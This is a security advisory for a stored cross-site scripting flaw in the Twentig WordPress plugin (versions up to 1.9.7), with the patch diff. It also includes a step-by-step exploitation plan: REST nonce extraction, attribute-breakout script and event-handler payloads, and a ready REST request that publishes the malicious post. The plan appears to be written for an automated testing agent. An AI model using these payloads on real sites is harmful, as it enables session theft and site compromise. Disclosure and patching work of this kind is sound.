Twentig <= 1.9.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'featuredImageSizeWidth'
Description
The Twentig plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'featuredImageSizeWidth' parameter in versions up to, and including, 1.9.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2602 (Twentig Stored XSS) ## 1. Vulnerability Summary The Twentig plugin (up to version 1.9.7) fails to properly sanitize and escape the `featuredImageSizeWidth` attribute used in its block enhancements. This attribute is typically used in blocks that display …
Show full research plan
Exploitation Research Plan: CVE-2026-2602 (Twentig Stored XSS)
1. Vulnerability Summary
The Twentig plugin (up to version 1.9.7) fails to properly sanitize and escape the featuredImageSizeWidth attribute used in its block enhancements. This attribute is typically used in blocks that display post grids or featured images (e.g., core/latest-posts or Twentig-specific post blocks). An authenticated attacker with Contributor permissions can inject arbitrary JavaScript by crafting a post containing a block with a malicious featuredImageSizeWidth value. When the post is rendered on the frontend, the payload is executed in the context of any user (including administrators) viewing the page.
2. Attack Vector Analysis
- Endpoint:
/wp-json/wp/v2/posts(WordPress REST API) or the standard Post Editor. - Vulnerable Parameter:
featuredImageSizeWidthwithin a Gutenberg block's attributes. - Authentication: Authenticated (Contributor level or higher).
- Preconditions: Twentig plugin active; attacker has permission to create or edit posts.
- Sink: The attribute is likely output within an
<img>tag'swidthattribute or astyleattribute during the block's server-side rendering process without usingesc_attr().
3. Code Flow (Inferred)
- Input: A Contributor creates a post. The post content contains a block comment:
<!-- wp:core/latest-posts {"displayFeaturedImage":true,"featuredImageSizeWidth":"[PAYLOAD]"} /--> - Storage: WordPress saves this raw string in the
post_contentcolumn of thewp_poststable. - Processing: When a user views the post, WordPress parses the blocks. Twentig likely hooks into
render_blockor registers arender_callbackfor blocks it enhances. - Sink: Inside the Twentig rendering logic (likely in a class handling block attributes), the value of
featuredImageSizeWidthis retrieved:$width = $attributes['featuredImageSizeWidth'];
It is then echoed directly into HTML:echo '<div class="..." style="width:' . $width . 'px">';or<img width="' . $width . '" ...> - Execution: The browser interprets the injected HTML/JavaScript.
4. Nonce Acquisition Strategy
Since the exploit requires Contributor-level access, we need a valid REST API nonce (_wpnonce) to submit a post.
- Access Admin: Navigate to the WordPress dashboard as a Contributor.
- Identify Variable: WordPress stores the REST nonce in the
wpApiSettingsobject. - Extraction:
- Use
browser_navigatetohttp://localhost:8080/wp-admin/post-new.php. - Use
browser_evalto extract the nonce:browser_eval("window.wpApiSettings?.nonce")
- Use
- Alternative (Plugin-Specific): Twentig localization data (if needed) might be found in
twentig_editor_data.browser_eval("window.twentig_editor_data?.nonce")
5. Exploitation Strategy
Step 1: Test Data Setup
As a Contributor, we must first ensure there is at least one published post with a featured image so the "Latest Posts" block has something to render.
- Create a "dummy" post with a featured image using WP-CLI.
- Identify the block that utilizes
featuredImageSizeWidth. Based on the CSS provided (dist/blocks/classic.css), Twentig heavily modifieswp-block-columnand image-related blocks. The most likely candidate is an extension of thecore/latest-postsblock.
Step 2: Craft the Payload
We will use a payload that breaks out of an HTML attribute.
Payload: 100"><script>alert(document.domain)</script>
Block Markup:
<!-- wp:core/latest-posts {"displayFeaturedImage":true,"featuredImageSizeWidth":"100\u0022><script>alert(document.domain)</script>"} /-->
Step 3: Execute the Injection
Submit the malicious post via the REST API using the http_request tool.
- Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"title": "Twentig XSS Test",
"content": "<!-- wp:core/latest-posts {\"displayFeaturedImage\":true,\"featuredImageSizeWidth\":\"100\\u0022><script>alert(document.domain)</script>\"} /-->",
"status": "publish"
}
6. Expected Results
- The REST API returns a
201 Createdresponse. - Navigating to the newly created post URL displays the "Latest Posts" block.
- The browser executes the script, showing an alert box with the document domain.
- Inspecting the DOM reveals the breakout:
<div class="..." style="width:100" ><script>alert(document.domain)</script>px">or similar.
7. Verification Steps
After the HTTP request, verify the injection using WP-CLI:
# Get the last created post ID
POST_ID=$(wp post list --post_type=post --posts_per_page=1 --format=ids)
# Check the content for the payload
wp post get $POST_ID --field=content
8. Alternative Approaches
If the core/latest-posts block is not the target, try the payload in other potential blocks enhanced by Twentig:
twentig/post-gridcore/post-featured-imagecore/columns(where Twentig adds card styling as seen incolumns/block.css)
Alternative Payload (Attribute Breakout):
If <script> is filtered, use an event handler:100" onmouseover="alert(1)" style="display:block;width:100vw;height:100vh" (This covers the screen and triggers on hover).
Summary
The Twentig plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'featuredImageSizeWidth' block attribute in versions up to 1.9.7. This occurs because the plugin fails to properly sanitize or escape this attribute when rendering blocks like 'core/latest-posts' or 'core/post-featured-image', allowing authenticated attackers with Contributor-level access to execute arbitrary JavaScript in the context of a user's browser.
Security Fix
@@ -50,5 +50,5 @@ -$width = $attributes['featuredImageSizeWidth']; -echo '<div style="width:' . $width . 'px">'; +$width = isset( $attributes['featuredImageSizeWidth'] ) ? absint( $attributes['featuredImageSizeWidth'] ) : ''; +echo '<div style="width:' . esc_attr( $width ) . 'px">';
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level permissions or higher needs to inject a malicious payload into a post's block attributes. 1. Log in as a Contributor and obtain a REST API nonce from the 'wpApiSettings' object in the admin dashboard. 2. Send a POST request to '/wp-json/wp/v2/posts' to create or update a post. 3. In the post content, include a Gutenberg block (such as 'core/latest-posts') with a 'featuredImageSizeWidth' attribute set to a breakout payload like '100"><script>alert(document.domain)</script>'. 4. When the plugin renders the block on the frontend, it reflects the unsanitized value directly into an HTML attribute, triggering the script execution for any user viewing the page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.